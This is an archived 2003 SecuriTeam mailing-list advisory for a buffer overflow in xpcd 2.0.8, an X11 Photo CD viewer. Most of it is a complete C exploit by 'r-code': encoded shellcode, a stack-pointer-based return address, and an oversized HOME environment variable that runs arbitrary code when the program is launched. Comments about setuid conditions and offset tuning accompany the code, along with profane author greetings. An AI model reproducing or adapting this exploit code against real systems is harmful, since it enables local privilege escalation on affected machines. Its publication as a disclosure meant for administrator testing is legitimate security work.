

# [EXPL] xpcd Buffer Overflow Exploit Code

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0056.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 06/18/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 18 Jun 2003 17:32:09 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Latest attack techniques.

You're a pen tester, but is google.com still your R&D team?

Now you can get trustworthy commercial-grade exploits and the latest techniques from a world-class research group.

Learn more at <http://www.coresecurity.com/promos/site1>,  
or call 617-399-6980

-----  
xpcd Buffer Overflow Exploit Code  
-----

## SUMMARY

<<http://bytesex.org/xpcd.html>> xpcd is an X11 program for reading Photo CD's. It reads the overview file with the thumbnails. You can browse all the pictures. You can load them in all available resolutions, either the whole image or a part of it. A buffer overflow vulnerability in the product allows local attackers to cause the product to execute arbitrary code. The following exploit code can be used by administrators to test their system for the mentioned vulnerability.

## DETAILS

Vulnerable systems:

- \* xpcd version 2.0.8

```
/*  
* xpcd 2.0.8 [latest] exploit written by r-code [Elite FXP Team] *  
* *  
*/
```

## Securiteam: [EXPL] xpcd Buffer Overflow Exploit Code

```
* Actually xpcd usually isn't suid, therefore for most of you *
* this exploit will be useless, on the other hand, maybe on some *
* conditions someone sets +S (who knows... ;-)*
* *
* Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher *
* Flames to: ElSiLaSoF – fucking kiddie.. *
```

```
*****/
```

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
```

```
unsigned long int get_sp(void) {
    __asm__("movl %esp,%eax");
}
```

```
char shellcode[] =
```

```
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x60\x80\x36"
"\x01\x46\xe2\xfa\xea\x09\xe2\x63\x68\x6f\xe2\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\x83\x10"
"\x01\x01\xc6\x44\xfd\x01\x01\x01\x01\x8c\xba\x63\xef\xfe\xfe\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\xc8\xc2\x8c\x77\x01"
"\x91\x91\x91\x91";
```

```
#define LEN 280
#define DEFAULT_OFFSET 530
#define PATH "/usr/local/bin/xpcd"
```

```
int main(int argc,char **argv) {
    register int i;
    char *evilstr=0,*str=0,*e=0;
    unsigned long int retaddr=0,offset=DEFAULT_OFFSET,*ptr=0;

    printf("[=] xpcd0x01 exploit written by r-code d_fence(at)gmx(dot)net
[ELITE FXP TEAM]\n");
    printf("[=] Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik,
Cypher\n");
    printf("[=] Flames to: ElSiLaSoF – fucking kiddie.\n\n");
```

```
if(argc>1)
    offset=atoi(argv[1]);
```

```
retaddr=get_sp() – offset;
```

```
printf("iNFO:) esp: 0x%x offset: 0x%x ret_addr:
0x%x\n",get_sp(),offset,retaddr);
printf("iNFO:) If Doesn't work, try with OFFSETS 400 – 600\n\n");
```

## Securiteam: [EXPL] xpcd Buffer Overflow Exploit Code

```
evilstr=(char *)malloc(LEN);
e=(char *)malloc(LEN+10);
ptr=(unsigned long int *)evilstr;

for(i=0;i<(LEN);) {
    evilstr[i++] = (retaddr & 0x000000ff);
    evilstr[i++] = (retaddr & 0x0000ff00) >> 8;
    evilstr[i++] = (retaddr & 0x00ff0000) >> 16;
    evilstr[i++] = (retaddr & 0xff000000) >> 24;
}

memset(evilstr,'A',(LEN/2));

for(i=0;i<strlen(shellcode);i++)
    evilstr[(LEN/2)-(strlen(shellcode)/2)+i]=shellcode[i];

evilstr[LEN]=0x00;
memcpy(e,"HOME=",5);
memcpy(e+5,evilstr,LEN);
putenv(e);
execl(PATH,"xpcd",NULL);
}
```

### ADDITIONAL INFORMATION

The information has been provided by <[mailto:d\\_fence@gmx.net](mailto:d_fence@gmx.net)> r-code.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.